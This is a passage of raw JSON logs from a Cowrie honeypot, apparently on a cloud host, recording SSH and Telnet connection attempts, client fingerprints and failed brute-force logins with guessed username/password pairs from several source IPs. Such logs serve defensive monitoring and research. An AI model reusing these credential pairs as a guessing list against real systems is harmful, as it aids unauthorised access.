0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:29.484960Z","src_ip":"176.65.132.254","session":"f59d48d7e208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"server123","message":"login attempt [test/server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:29.531076Z","src_ip":"190.129.122.12","session":"511c675a4a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.866724491119385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:29.649510Z","src_ip":"62.210.97.77","session":"b8fe8ec4a0e9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:29.752469Z","src_ip":"176.65.132.254","session":"f59d48d7e208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47508,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b74f9d6732","protocol":"telnet","message":"New connection: 62.210.97.77:47508 (10.17.0.5:23) [session: 64b74f9d6732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:30.431489Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:30.699486Z","src_ip":"190.129.122.12","session":"511c675a4a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:30.849287Z","src_ip":"176.65.132.254","session":"f59d48d7e208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.693848609924316,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:32.468642Z","src_ip":"65.60.27.33","session":"a8e4ce221402","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40462,"dst_ip":"10.17.0.5","dst_port":22,"session":"85694d940e7f","protocol":"ssh","message":"New connection: 176.65.132.254:40462 (10.17.0.5:22) [session: 85694d940e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:33.348069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:33.351593Z","src_ip":"176.65.132.254","session":"85694d940e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:33.436134Z","src_ip":"176.65.132.254","session":"85694d940e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:33.847224Z","src_ip":"176.65.132.254","session":"85694d940e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59722,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f384c785779","protocol":"telnet","message":"New connection: 38.54.119.93:59722 (10.17.0.5:23) [session: 1f384c785779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:34.257681Z"}
{"eventid":"cowrie.session.closed","duration":35.52740669250488,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:34.666938Z","src_ip":"134.209.8.29","session":"95e08d4ab013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:34.947728Z","src_ip":"176.65.132.254","session":"85694d940e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47516,"dst_ip":"10.17.0.5","dst_port":23,"session":"bedd3db5ffbe","protocol":"telnet","message":"New connection: 62.210.97.77:47516 (10.17.0.5:23) [session: bedd3db5ffbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:35.393020Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47520,"dst_ip":"10.17.0.5","dst_port":23,"session":"29c72b93bf10","protocol":"telnet","message":"New connection: 62.210.97.77:47520 (10.17.0.5:23) [session: 29c72b93bf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:37.204705Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40472,"dst_ip":"10.17.0.5","dst_port":22,"session":"92ec1db53b5a","protocol":"ssh","message":"New connection: 176.65.132.254:40472 (10.17.0.5:22) [session: 92ec1db53b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:37.421675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:37.426438Z","src_ip":"176.65.132.254","session":"92ec1db53b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.10003662109375,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:37.429610Z","src_ip":"62.210.97.77","session":"26fb0cc54ddd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:37.508901Z","src_ip":"176.65.132.254","session":"92ec1db53b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:37.771109Z","src_ip":"176.65.132.254","session":"92ec1db53b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47530,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e28c97deafc","protocol":"telnet","message":"New connection: 62.210.97.77:47530 (10.17.0.5:23) [session: 0e28c97deafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:37.782533Z"}
{"eventid":"cowrie.session.closed","duration":33.054521322250366,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:38.027751Z","src_ip":"62.210.97.77","session":"f5d6e7ede01a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":45134,"dst_ip":"159.203.135.109","dst_port":22,"session":"48128f5f0e19","protocol":"ssh","message":"New connection: 152.32.189.59:45134 (159.203.135.109:22) [session: 48128f5f0e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:38.442264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:38.448435Z","src_ip":"152.32.189.59","session":"48128f5f0e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:38.705846Z","src_ip":"152.32.189.59","session":"48128f5f0e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:38.856887Z","src_ip":"176.65.132.254","session":"92ec1db53b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"password","message":"login attempt [server1/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:39.561864Z","src_ip":"152.32.189.59","session":"48128f5f0e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48542,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d643bf4c38f","protocol":"telnet","message":"New connection: 62.210.97.77:48542 (10.17.0.5:23) [session: 1d643bf4c38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:40.269521Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:40.781811Z","src_ip":"152.32.189.59","session":"48128f5f0e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":41444,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f2b6383be87","protocol":"ssh","message":"New connection: 187.16.96.250:41444 (10.17.0.5:22) [session: 9f2b6383be87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:40.965602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:40.969900Z","src_ip":"187.16.96.250","session":"9f2b6383be87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.970654249191284,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:40.982008Z","src_ip":"165.232.131.181","session":"62deadbe8aba","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:41.089798Z","src_ip":"187.16.96.250","session":"9f2b6383be87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56310,"dst_ip":"159.203.135.109","dst_port":23,"session":"eba9fc0ad01c","protocol":"telnet","message":"New connection: 134.209.8.29:56310 (159.203.135.109:23) [session: eba9fc0ad01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:41.115804Z"}
{"eventid":"cowrie.session.closed","duration":6.887206077575684,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:41.144769Z","src_ip":"38.54.119.93","session":"1f384c785779","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40480,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff7d6ceae2b0","protocol":"ssh","message":"New connection: 176.65.132.254:40480 (10.17.0.5:22) [session: ff7d6ceae2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:41.553385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:41.558855Z","src_ip":"176.65.132.254","session":"ff7d6ceae2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gittest","password":"gittest","message":"login attempt [gittest/gittest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:41.589953Z","src_ip":"187.16.96.250","session":"9f2b6383be87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:41.640832Z","src_ip":"176.65.132.254","session":"ff7d6ceae2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:41.894999Z","src_ip":"176.65.132.254","session":"ff7d6ceae2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.74393916130066,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:42.341329Z","src_ip":"62.210.97.77","session":"6396603d27b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48552,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee6744049afc","protocol":"telnet","message":"New connection: 62.210.97.77:48552 (10.17.0.5:23) [session: ee6744049afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:42.404992Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:42.710086Z","src_ip":"187.16.96.250","session":"9f2b6383be87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:42.979365Z","src_ip":"176.65.132.254","session":"ff7d6ceae2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51952,"dst_ip":"159.203.135.109","dst_port":23,"session":"53c9f42151a9","protocol":"telnet","message":"New connection: 134.209.8.29:51952 (159.203.135.109:23) [session: 53c9f42151a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:43.147362Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51954,"dst_ip":"159.203.135.109","dst_port":23,"session":"986fc084df0a","protocol":"telnet","message":"New connection: 134.209.8.29:51954 (159.203.135.109:23) [session: 986fc084df0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:43.648599Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48556,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa6d6ea78f42","protocol":"telnet","message":"New connection: 62.210.97.77:48556 (10.17.0.5:23) [session: aa6d6ea78f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:44.613046Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48562,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c9f6057ed1","protocol":"telnet","message":"New connection: 62.210.97.77:48562 (10.17.0.5:23) [session: a6c9f6057ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:44.807891Z"}
{"eventid":"cowrie.session.closed","duration":33.61486577987671,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:44.841735Z","src_ip":"62.210.97.77","session":"301c08c54ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1482152938842773,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:45.295456Z","src_ip":"134.209.8.29","session":"53c9f42151a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47450,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fd323741f82","protocol":"ssh","message":"New connection: 176.65.132.254:47450 (10.17.0.5:22) [session: 1fd323741f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:45.345811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:45.350770Z","src_ip":"176.65.132.254","session":"1fd323741f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:45.435575Z","src_ip":"176.65.132.254","session":"1fd323741f82","protocol":"ssh"}
